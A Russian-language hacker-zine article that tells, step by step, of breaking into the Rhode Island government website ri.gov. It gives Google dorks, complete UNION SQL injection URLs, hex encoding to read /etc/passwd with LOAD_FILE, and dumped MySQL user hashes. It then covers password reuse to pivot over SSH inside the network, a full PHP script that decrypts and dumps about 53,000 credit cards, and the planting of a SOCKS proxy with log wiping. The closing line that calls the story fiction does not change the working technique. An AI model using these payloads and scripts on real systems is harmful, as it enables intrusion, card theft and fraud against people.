Творческий Союз "Ромашки"
представляет: взлом www.ri.gov, или как стать
владельцем острова.
Здравствуй, дорогой друг. Ты наверно уже
догадываешься о чем я хочу рассказать :) И
наверно уже вбил в своей Oper'e (в ослике? выйти
из зала!) ссылочку www.ri.gov. Ну что ж,
приступим!
Ни для кого не секрет, что google.com давно стал
незаменимым помощником всех кулхацкеров. Где-то
больше, где-то меньше, но гугль вливается в наш
каждодневный быт. Очередной раз проспав универ,
я обратился к гуглю - в поисках хорошего
настроения вбил до боли знакомое:
inurl:"php?id=". Гугль проглотил запрос и
выплюнул туеву хучу ссылок, но немного
потыкавшись по ссылкам, я понял что ничего
интересного тут не найду. Не знаю что меня
подтолкнуло, но я почему то решил потестить
правительственные сайты и добавил к запросу
гугля site:gov. Не помню сколько я безуспешно
копался в поисках уязвимости, пока не наткнулся
на линк http://www.ri.gov/towns/view.php?id=12.
Надпись под лого сайта гласила:"The official Web
site of the State of Rhode Island". Мои скудные
знания географии не позволили мне вспомнить где
"это" находится. Как потом оказалось Rhode
Island - остров на северо-востоке США :) Как
обычно поставил вместо значения переменной id
кавычку... И тут все началось :) Сайт ясно дал
понять, что входящие значения переменной id
никаким образом не фильтруется, выбросив вот
такую ошибку:"You have an error in your SQL
syntax. Check the manual that corresponds to
your MySQL server version for the right syntax
to use near '\'' at line 14"
Далее переменной id была передано значение
-999+union+select+1/* и к моему удивлению сайт
реально оказался дырявый. На мой запрос скрипт
ответил мне: "The used SELECT statements have a
different number of columns". Ничего
сверхъестественного. Обычная sql-injection. Мне
оставалось только подобрать количество таблиц в
базе. Сейчас я немного отдалюсь от темы взлома и
объясню, что собственно значит
"-999+union+select+1/*". Команда UNION означает
объединение нескольких запросов к базе данных,
мы специально передаем базе несуществующие
значение id (в моем случае -999) а далее
выполняем второй запрос "union+select+1/*"
Возможно читателю непонятна цифра "1" следующая
после команды "SELECT", но тут нет ничего
принципиального. Мы просто возвращаем "1" вместо
значения первой таблицы базы.Вернемся к нашим
баранам. Я как и следовало прибавлял значения к
запросу. Ход этого можешь увидеть на
соответствующем скрине.
Так я тыкался пока не дошел до верного
количества столбцов в запросе. Этим запросом
оказалось:"http://www.ri.gov/towns/view.php?id=-999+union+select+1,2,3,4,5,6,7,8,9,0,1,
2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,
1,2,3,4,5,6,7,8,9,0,1,2". Если не поленишься и
посчитаешь - узнаешь, что выполнение этого
запроса означало, что в таблице 42 столбца :)
Так как подбирать названия таблиц и баз было
несколько напряжно - у меня сразу появилась одна
идея. Я вспомнил, что у mysql есть такая
возможность - читать файлы при определенных
правах, я решил попробовать. Для этого всего то
требовалось выполнить такой запрос:
http://www.ri.gov/towns/view.php?id=-999+union+select+1,2,4,4,5,6,
7,8,9,0,1,2,3,4,5,7,7,8,9,0,1,2,LOAD_FILE('путь_к_файлу'),
4,5,7,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2
Но, как оказалось, кавычки экранировались, и
запрос не прошел.. Чтобы это обойти существует
один хитрый способ - кодирование строки в 16-ти
битной кодировке, которую mysql воспринимает как
строку. Скрипт кодирющий строку - приведен ниже:
<?
$string="Ваша строка"; //
в моем случае это
/etc/passwd
echo('0x'.bin2hex($string));
?>
После преобразования строки /etc/passwd мы
получим строку 0x2f6574632f706173737764, которую
можно легко подставлять и читать файлы. Файл
/etc/passwd успешно прочитался, но когда я
попытался прочитать файл
/web/public/towns/view.php, то меня ждала
большая птица Обломинго :( Как я понял, прав
читать файлы в директории public не было.
Казалось, дальше двигаться было некуда. Но тут
товарищ virgoz посоветовал просмотреть пароли
юзеров БД. И действительно, запрос прокатил:)
http://www.ri.gov/towns/view.php?id=-999+union+select+1,2,4,4,5,
6,7,8,9,0,1,2,3,4,5,7,7,8,9,0,1,password,user,
4,5,7,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2
+from+mysql.user+limit+0,1/*
Передо мной засветились до боли знакомые
MySQL-хеши. Постепенно меняя значения limit+0,1
(limit+1,2 и т.д.)я выгреб все хеши
пользователей БД. Их, как оказалось, было всего
7.
root:60e26aa9761c180d
joealba:4baa829c504fbce4
pinky:01a3c44c6c9d6130
awoodworth:26efc2f83cf90887
brain:378a812406cd01b1
pma:49bad6e70f171979
pma:40e56b2306f8c42d
Все 7 хешей были скормлены чудесной тулзе
PasswordsPRO. Я догадывался, что простые пароли
мне здесь не светят, и сразу поставил в
брутфорсе перебор по буквам и цифрам. Тут
сказался некий элемент фарта и PasswordsPRO
после 4 часов брута выдал мне расшифрованный хеш
одного из юзеров: awoodworth:anw34**** (часть
пароля скрыта по понятным причинам).
Недолго думая, я запустил PuTTy и попробовал
этот аккаунт к SSH. И на мое удивление он
подошел! Тут же началось обследование
внутренностей сервера. Я начал рыться в конфигах
в поисках пароля от базы данных. Как я понял -
на сайте крутился скрипт оплаты налогов через
инет. Поэтому БД имела для меня огромную
ценность. Несмотря на все ожидания поиск был
недолгий - результат можешь видеть на скрине.
Немного смутил хост cabinet. Сразу промелькнула
мысль, что сервер с базой данных находится
внутри сети. Все сомнения развеялись как только
была выполнена команда cat /etc/hosts. Из
увиденного стало ясно - впереди долгая ночь :).
Стало понятно - передо мной городская
административная локалка. Внимание сразу привлек
хост "192.168.4.35 cabinet". Наверно читатель
понимает что я рассчитывал там найти:)
Я сразу полез в папочку .ssh в надежде найти там
SSH-ключи, чтобы приконнектиться к внутрисетевым
машинам. Но тут меня посетила чудесная мыслЯ:
если админ юзает один пароль к SSH и MySQL,
почему он не может использовать его же к
остальным машинам сети? Далее была успешно
выполнена команда "ssh 192.168.4.35", мне опять
подфартило, и я попал на внутрисетевую машину.
Тут сразу же началось исследование местности.
Первым делом я посмотрел какие сервисы крутятся
на машине. Как и ожидалось на тачке стояла БД.
Немного пошатавшись по просторам БД, я обратил
внимание на базу ROGER. В ней лежали такие
сладкие названия, как СC_Application,
CC_Transaction.
Но к моему великому сожалению номера кред были
зашифрованы неизвестным мне до этого времени
алгоритмом. Но стоило мне покопаться в сорцах
www.ri.gov, как сразу выяснилось - все креды
были зашифрованы функцией ENCODE c добавлением
соли "need_a_framew0rk_f0r_php" :) Далее - дело
техники. За пять минут товарищем virgoz'ом был
написан небольшой скрипт на PHP, выдирающий и
декодирующий креды в нужный мне вид.
<?
set_time_limit(0);
ignore_user_abort(1);
$host="cabinet";
$mysql_login="pinky";
$mysql_passwd="Gn@rf!";
@mysql_connect("$host","$mysql_login","$mysql_passwd")
or die ("connect error");
@mysql_select_db("ROGER") or die("table select
error");
$query=mysql_query("SELECT ROGER_ID,
Card_First_Name, Card_Last_Name, Card_Type,
Card_Exp_Month, Card_Exp_Year, Card_Address,
Card_City, Card_State, Card_Code,
Card_Country_Code,
DECODE(Card_Number,'need_a_framew0rk_f0r_php')
AS Card_Number FROM CC_Transaction");
$fil=fopen("card_base.txt","a");
while ($row=mysql_fetch_array($query))
{
If($row[Status_Code]==0)
{
$res_c=$row[ROGER_ID].":".$row[Card_First_Name].":".
$row[Card_Last_Name].":".$row[Card_Type].":".$row[Card_Number].
":".$row[Card_Exp_Month].":".$row[Card_Exp_Year].":".
$row[Card_Address].":".$row[Card_City].":".$row[Card_State].
":".$row[Card_Code].":".$row[Card_Country_Code];
fwrite($fil,$res_c."\n");
}
}
fclose($fil);
?>
Результат его выполнения можешь видеть на
приведенном скрине. По моим скромным подсчетам в
базе оказалось около 53000 кредитных карт. Об их
дальнейшей судьбе думаю ты догадываешься :) К
слову сказать, дальше копать правительственную
локалку я не решился. Все закончилось тем, что я
поставил на ri.gov сокс сервер, почистил логи и
со спокойной душой удалился. Наверно админы были
"немного" удивлены, обнаружив что их драгоценный
ri.gov служит сокс-сервером всему интернету
%).На этом хочу закончить свое и без того
затянувшееся повествование. Надеюсь, ты сделал
для себя определенные выводы. Удачи тебе,
братан. Будь всегда на чеку и знай... бага
где-то рядом ;)
Так же стоит упомянуть - что данная статья
никоим образом не отражает действительности. На
самом деле ничего этого не было, а вся история
выдумана и изложена тов. Fan'ом и тов. virgoz'ом
за кружкой пива. Повторение изложенного на деле
карается законом РФ и не только :). Будь
внимателен!
|
